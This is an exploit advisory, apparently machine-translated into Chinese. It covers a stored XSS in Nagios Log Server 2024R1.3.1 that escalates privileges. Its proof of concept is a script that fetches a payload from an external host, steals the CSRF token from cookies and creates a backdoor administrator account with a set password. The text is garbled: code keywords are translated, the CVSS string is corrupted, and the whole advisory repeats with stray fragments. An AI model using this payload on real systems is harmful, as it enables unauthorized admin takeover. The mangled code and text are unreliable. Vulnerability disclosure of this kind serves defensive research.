#利用标题:在Nagios日志服务器中存储XSS漏洞(特权升级到管理员)
#日期: 2025-04-02
#利用作者: Seth Kraft
#供应商homepage3360 https://www.nagios.com/
#供应商ChangElog: https://www.nagios.com/changelog/#log-server
#软件link: https://www.nagios.com/products/log-server/download/
#版本: 2024R1.3.1及以下
#测试ON: NAGIOS日志服务器2024R1.3.1(默认配置,Ubuntu 20.04)
#CWE: CWE-79,CWE-352,CWE-285,CWE-269,CWE-602
#CVSS: 9.3(CVSS:4.0/AV:N/AC:L/AT:N/AT:N/PR:L/UI:R/S3:R/S3:C/VC333333333:H
#type:存储的跨站点脚本(XSS),特权升级
#利用风险:关键
#披露
仅用于研究和授权测试。未经允许,请勿在系统中使用。
#Description:
NAGIOS日志服务器中存储的XSS漏洞2024R1.3.1允许低私密的用户注入
恶意JavaScript进入其个人资料的“电子邮件”字段。当管理员查看审核日志时,
该脚本执行,从而通过未经授权的管理帐户创建导致特权升级。
可以将漏洞束缚以在某些配置中实现远程代码执行(RCE)。
#poc
1。作为标准(非ADMIN)用户登录。
2。导航到配置文件更新Endpoint:
3。将以下有效载荷注入电子邮件字段:
``JavaScript
脚本
fetch('https://external-host/xss.js')
。
。
.catch(Console.Error);
/脚本
````````
4.主机在外部服务器上托管XSS.JS有效载荷,并使用以下内容:
``JavaScript
(功能() {
var csrftokenmatch=document.cookie.match(/csrf_ls=([^;]+)/);
如果(!csrftokenMatch)返回;
var csrftoken=encodeuricomponent(csrftokenmatch [1]);
var requestbody='csrf_ls=' + csrftoken +
'name=后门' +
'email=[email protected]' +
'用户名=后门' +
'password=passwass123!' +
'password2=passwass123!' +
'auth_type=admin' +
'apiaccess=1' +
'语言=en_us' +
'Account_Type=local';
fetch('http://target-ip/nagioslogserver/admin/users/create',{
method:'post',
headers: {'content-type':'应用程序/x-www-form-urlencoded'},
Body:请求机构
}))
。
然后(console.log)
.catch(Console.Error);
})();
````````
5。等待管理员查看审核日志。 JavaScript将执行,创建一个新的管理员帐户:
用户名:后门
密码:密码123!
#日期: 2025-04-02
#利用作者: Seth Kraft
#供应商homepage3360 https://www.nagios.com/
#供应商ChangElog: https://www.nagios.com/changelog/#log-server
#软件link: https://www.nagios.com/products/log-server/download/
#版本: 2024R1.3.1及以下
#测试ON: NAGIOS日志服务器2024R1.3.1(默认配置,Ubuntu 20.04)
#CWE: CWE-79,CWE-352,CWE-285,CWE-269,CWE-602
#CVSS: 9.3(CVSS:4.0/AV:N/AC:L/AT:N/AT:N/PR:L/UI:R/S3:R/S3:C/VC333333333:H
#type:存储的跨站点脚本(XSS),特权升级
#利用风险:关键
#披露
仅用于研究和授权测试。未经允许,请勿在系统中使用。
#Description:
NAGIOS日志服务器中存储的XSS漏洞2024R1.3.1允许低私密的用户注入
恶意JavaScript进入其个人资料的“电子邮件”字段。当管理员查看审核日志时,
该脚本执行,从而通过未经授权的管理帐户创建导致特权升级。
可以将漏洞束缚以在某些配置中实现远程代码执行(RCE)。
#poc
1。作为标准(非ADMIN)用户登录。
2。导航到配置文件更新Endpoint:
正在加载...
target-ip
``JavaScript
脚本
fetch('https://external-host/xss.js')
。
。
.catch(Console.Error);
/脚本
````````
4.主机在外部服务器上托管XSS.JS有效载荷,并使用以下内容:
``JavaScript
(功能() {
var csrftokenmatch=document.cookie.match(/csrf_ls=([^;]+)/);
如果(!csrftokenMatch)返回;
var csrftoken=encodeuricomponent(csrftokenmatch [1]);
var requestbody='csrf_ls=' + csrftoken +
'name=后门' +
'email=[email protected]' +
'用户名=后门' +
'password=passwass123!' +
'password2=passwass123!' +
'auth_type=admin' +
'apiaccess=1' +
'语言=en_us' +
'Account_Type=local';
fetch('http://target-ip/nagioslogserver/admin/users/create',{
method:'post',
headers: {'content-type':'应用程序/x-www-form-urlencoded'},
Body:请求机构
}))
。
然后(console.log)
.catch(Console.Error);
})();
````````
5。等待管理员查看审核日志。 JavaScript将执行,创建一个新的管理员帐户:
用户名:后门
密码:密码123!